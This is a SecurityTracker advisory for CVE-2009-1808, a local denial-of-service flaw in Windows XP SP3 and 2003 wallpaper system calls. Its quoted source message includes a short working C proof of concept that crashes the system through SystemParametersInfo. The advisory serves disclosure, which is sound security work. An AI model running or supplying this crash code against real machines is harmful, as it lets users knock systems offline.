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Category:   OS (Microsoft)  >   Windows DLL (Any) Vendors:   Microsoft
Microsoft Windows Bug in SETDESKWALLPAPER and GETDESKWALLPAPER Calls Let Local Users Deny Service
SecurityTracker Alert ID:  1022330
SecurityTracker URL:  http://securitytracker.com/id/1022330
CVE Reference:   CVE-2009-1808   (Links to External Site)
Updated:  Jun 11 2009
Original Entry Date:  Jun 4 2009
Impact:   Denial of service via local system
Exploit Included:  Yes  
Version(s): 2003, XP SP3
Description:   A vulnerability was reported in Microsoft Windows. A local user can cause denial of service conditions.

A local user with SETDESKWALLPAPER privileges (e.g., the Guest account) can run a specially crafted program to cause the target system to crash.

Arkon reported this vulnerability.

The original advisory is available at:

http://www.ragestorm.net/blogs/?p=78

Impact:   A local user can cause the target system to crash.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.microsoft.com/ (Links to External Site)
Cause:   Not specified
Underlying OS:  

Message History:   None.


 Source Message Contents

Date:  Wed, 3 Jun 2009 23:47:23 -0400
Subject:  Windows


http://www.ragestorm.net/blogs/?p=78

#include <windows.h>
int main()
{
 WCHAR c[1000] = {0};
 memset(c, c, 1000);
 SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (PVOID)c, 0);

 WCHAR b[1000] = {0};
 SystemParametersInfo(SPI_GETDESKWALLPAPER, 1000, (PVOID)b, 0);
 return 0;
}
 
 


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